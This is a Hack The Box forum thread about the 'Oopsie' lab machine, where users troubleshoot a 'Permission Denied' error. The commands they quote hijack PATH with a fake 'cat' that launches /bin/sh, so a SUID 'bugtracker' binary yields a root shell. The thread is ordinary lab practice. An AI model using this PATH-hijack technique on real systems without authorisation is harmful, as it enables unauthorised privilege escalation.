Oopsie unable to escalate privs

Hi, I have gotten the reverse shell now I am at the point where I have to feed bugtracker an id of 1 but i need to create the malicious cat first:

export PATH=.:$PATH
echo ‘/bin/sh’ > cat
chmod +x ./cat

but when i do

echo ‘/bin/sh’ > cat i get:

bash cat: Permission Denied

What am I doing wrong or missing?

i have the same problem with Oopsie, when i enter the command: echo ‘/bin/sh’ > cat
i get permission denied

Type your comment> @ConkerRob said:

Hi, I have gotten the reverse shell now I am at the point where I have to feed bugtracker an id of 1 but i need to create the malicious cat first:

export PATH=.:$PATH
echo ‘/bin/sh’ > cat
chmod +x ./cat

but when i do

echo ‘/bin/sh’ > cat i get:

bash cat: Permission Denied

What am I doing wrong or missing?

Hey i found the solution in an other post:

https://forum.hackthebox.eu/discussion/2913/oopsie-machine-starting-point/p1

the last post from DaChef solved it for me.

I tried that but must’ve done something wrong redoing it again.

Type your comment> @av0idr said:

Type your comment> @ConkerRob said:

Hi, I have gotten the reverse shell now I am at the point where I have to feed bugtracker an id of 1 but i need to create the malicious cat first:

export PATH=.:$PATH
echo ‘/bin/sh’ > cat
chmod +x ./cat

but when i do

echo ‘/bin/sh’ > cat i get:

bash cat: Permission Denied

What am I doing wrong or missing?

Hey i found the solution in an other post:

https://forum.hackthebox.eu/discussion/2913/oopsie-machine-starting-point/p1

the last post from DaChef solved it for me.

I followed the steps here and it went well. You can SSH to robert :wink: